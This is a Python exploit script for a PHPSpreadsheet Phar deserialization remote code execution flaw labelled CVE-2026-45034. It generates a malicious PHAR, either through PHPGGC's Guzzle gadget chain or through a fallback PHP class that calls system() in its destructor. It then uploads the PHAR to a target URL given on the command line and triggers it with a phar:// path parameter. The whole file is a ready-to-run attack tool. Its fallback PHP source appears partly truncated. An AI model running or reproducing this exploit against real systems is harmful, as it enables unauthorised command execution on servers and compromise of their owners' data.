#!/usr/bin/env python3 """ CVE-2026-45034 - PHPSpreadsheet Phar Deserialization RCE Author: Cyber DarkNay Usage: python cve-2026-45034_exploit.py -u https://target.com -e index.php?page=import --cmd "id" """ import requests import sys import os import argparse import random import string import subprocess import tempfile from urllib.parse import urljoin # ====================== # BANNER # ====================== BANNER = """ ╔══════════════════════════════════════════════════════════════════╗ ║ ██████╗██╗ ██╗██████╗ ███████╗██████╗ █████╗ ██████╗ ██╗ ██╗ ║ ██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝ ║ ██║ ╚████╔╝ ██████╔╝█████╗ ██║ ██║███████║██████╔╝█████╔╝ ║ ██║ ╚██╔╝ ██╔══██╗██╔══╝ ██║ ██║██╔══██║██╔══██╗██╔═██╗ ║ ╚██████╗ ██║ ██████╔╝███████╗██████╔╝██║ ██║██║ ██║██║ ██╗ ║ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ║ CVE-2026-45034 - PHPSpreadsheet Phar Deserialization ║ ║ RCE via Phar Wrapper Bypass ║ ╚══════════════════════════════════════════════════════════════════╝ [+] Author: Cyber DarkNay """ # ====================== # GADGET CHAIN (PHP 7.x - Guzzle/FnStream) # ====================== # We'll use a simple PHP script to generate a PHAR with a serialized gadget. # The gadget chain here uses GuzzleHttp\Psr7\FnStream which is common in many PHP apps. # Alternatively, you can use PHPGGC (phpggc Guzzle/RCE1 system 'cmd' -p phar) def generate_phar_with_phpggc(cmd): """ Use PHPGGC to generate a PHAR payload. If phpggc not installed, fallback to manual gadget. """ # Check if phpggc is available if subprocess.run("which phpggc", shell=True, capture_output=True).returncode == 0: tmp_phar = tempfile.NamedTemporaryFile(delete=False, suffix='.phar') tmp_phar.close() subprocess.run(f"phpggc Guzzle/RCE1 system '{cmd}' -p phar -o {tmp_phar.name}", shell=True, check=True) return tmp_phar.name else: # Fallback: manual PHAR with dummy gadget (not RCE, only detection) print("[!] phpggc not installed. Install: composer global require ambionics/phpggc") print("[!] Generating dummy PHAR for detection only...") dummy_phar = "exploit_dummy.phar" php_code = f'''cmd = $c; }} public function __destruct() {{ system($this->cmd); }} }} $phar = new Phar("{dummy_phar}"); $phar->startBuffering(); $phar->setStub(""); $phar->setMetadata(new Pwn("{cmd}")); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ''' with open("gen.php", "w") as f: f.write(php_code) subprocess.run(f"php -d phar.readonly=0 gen.php", shell=True, check=True) os.remove("gen.php") return dummy_phar def upload_and_trigger(target_url, endpoint, phar_path, cmd): """ Upload PHAR and trigger deserialization via phar:// wrapper. Adjust field names based on target's form structure. """ # Read PHAR file with open(phar_path, 'rb') as f: phar_data = f.read() # Prepare multipart form-data boundary = '----' + ''.join(random.choices(string.ascii_letters + string.digits, k=16)) lines = [] # Field for file upload (common names: file, uploaded_file, spreadsheet, etc.) for field in ['file', 'uploaded_file', 'spreadsheet', 'excel']: lines.append(f'--{boundary}') lines.append(f'Content-Disposition: form-data; name="{field}"; filename="exploit.phar"') lines.append('Content-Type: application/octet-stream') lines.append('') lines.append(phar_data.decode('latin1')) break # try first field; we can iterate later if needed # Parameter to trigger phar deserialization (common: filename, source, path) phar_wrapper = f"phar://exploit.phar/test.txt" for param in ['filename', 'source', 'path', 'filepath']: lines.append(f'--{boundary}') lines.append(f'Content-Disposition: form-data; name="{param}"') lines.append('') lines.append(phar_wrapper) break lines.append(f'--{boundary}--') body = '\r\n'.join(lines) headers = { 'Content-Type': f'multipart/form-data; boundary={boundary}', 'User-Agent': 'Mozilla/5.0' } url = urljoin(target_url, endpoint) print(f"[*] Sending exploit to {url}") try: r = requests.post(url, data=body.encode('latin1'), headers=headers, timeout=30, verify=False) print(f"[+] HTTP Status: {r.status_code}") if r.status_code == 200: print("[!] Check if command executed. Look for output or callback.") # Optional: save response for analysis with open("response.html", "w") as f: f.write(r.text) print("[*] Response saved to response.html") else: print("[-] Exploit might have failed.") except Exception as e: print(f"[-] Error: {e}") finally: os.remove(phar_path) # ====================== # MAIN # ====================== def main(): print(BANNER) parser = argparse.ArgumentParser(description="CVE-2026-45034 PHPSpreadsheet Phar RCE") parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., https://target.com)") parser.add_argument("-e", "--endpoint", default="index.php?page=import", help="Vulnerable endpoint (default: index.php?page=import)") parser.add_argument("--cmd", default="touch /tmp/cve2026", help="Command to execute (default: touch /tmp/cve2026)") args = parser.parse_args() # Step 1: Generate PHAR payload print("[*] Generating PHAR payload...") phar_file = generate_phar_with_phpggc(args.cmd) print(f"[+] PHAR generated: {phar_file}") # Step 2: Upload and trigger upload_and_trigger(args.url, args.endpoint, phar_file, args.cmd) print("[*] Exploit finished. Check target for RCE.") if __name__ == "__main__": import urllib3 urllib3.disable_warnings() main()